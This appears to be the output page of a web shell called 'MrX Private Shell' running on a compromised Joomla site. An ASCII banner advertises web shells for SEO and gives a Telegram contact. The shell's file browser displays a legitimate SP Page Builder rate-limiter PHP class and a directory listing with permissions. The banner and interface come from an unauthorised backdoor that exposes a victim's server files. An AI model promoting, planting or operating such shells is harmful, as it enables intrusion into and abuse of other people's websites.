__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2025 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
use Joomla\CMS\Factory;
//no direct access
defined('_JEXEC') or die('Restricted access');
/**
* Check Rate limiter helper class.
*/
if (!class_exists('SppagebuilderRateLimiterHelper')) {
/**
* Rate limiter helper class.
* This class provides methods to limit the number of requests a user can make within a time window.
*/
class SppagebuilderRateLimiterHelper
{
/**
* Check if the user has exceeded the rate limit.
*
* @param string $key A unique identifier for the user or request (e.g., user ID, IP address).
* @param int $maxRequests Maximum allowed requests within the time window.
* @param int $timeWindow Time window in seconds.
* @return bool True if the user is within the limit, false if the limit is exceeded.
*/
public static function isRateLimited($key, $maxRequests, $timeWindow)
{
$session = Factory::getSession();
$rateLimiterKey = 'sppagebuilder_rate_limiter_' . $key;
$currentTime = time();
$rateData = $session->get($rateLimiterKey, [
'count' => 0,
'start_time' => $currentTime,
]);
if (($currentTime - $rateData['start_time']) > $timeWindow) {
$rateData['count'] = 0;
$rateData['start_time'] = $currentTime;
}
$rateData['count']++;
$session->set($rateLimiterKey, $rateData);
return $rateData['count'] > $maxRequests;
}
/**
* Get the remaining time before the rate limit resets.
*
* @param string $key A unique identifier for the user or request.
* @param int $timeWindow Time window in seconds.
* @return int The remaining time in seconds.
*/
public static function getTimeUntilReset($key, $timeWindow)
{
$session = Factory::getSession();
$rateLimiterKey = 'sppagebuilder_rate_limiter_' . $key;
$rateData = $session->get($rateLimiterKey, [
'count' => 0,
'start_time' => time(),
]);
$remainingTime = ($rateData['start_time'] + $timeWindow) - time();
return max(0, $remainingTime);
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| tweet | Folder | 0775 |
|
|
| addon-helper.php | File | 9.79 KB | 0664 |
|
| ajax.php | File | 24.73 KB | 0664 |
|
| articles.php | File | 16.06 KB | 0664 |
|
| assets-css-parser.php | File | 1.97 KB | 0664 |
|
| auth-helper.php | File | 3.77 KB | 0664 |
|
| autoload.php | File | 3.21 KB | 0664 |
|
| constants.php | File | 322 B | 0664 |
|
| css-parser.php | File | 9.88 KB | 0664 |
|
| helper.php | File | 75.76 KB | 0664 |
|
| image.php | File | 3 KB | 0664 |
|
| integration-helper.php | File | 1.04 KB | 0664 |
|
| k2.php | File | 8.11 KB | 0664 |
|
| rate-limiter.php | File | 2.48 KB | 0664 |
|
| route.php | File | 2.57 KB | 0664 |
|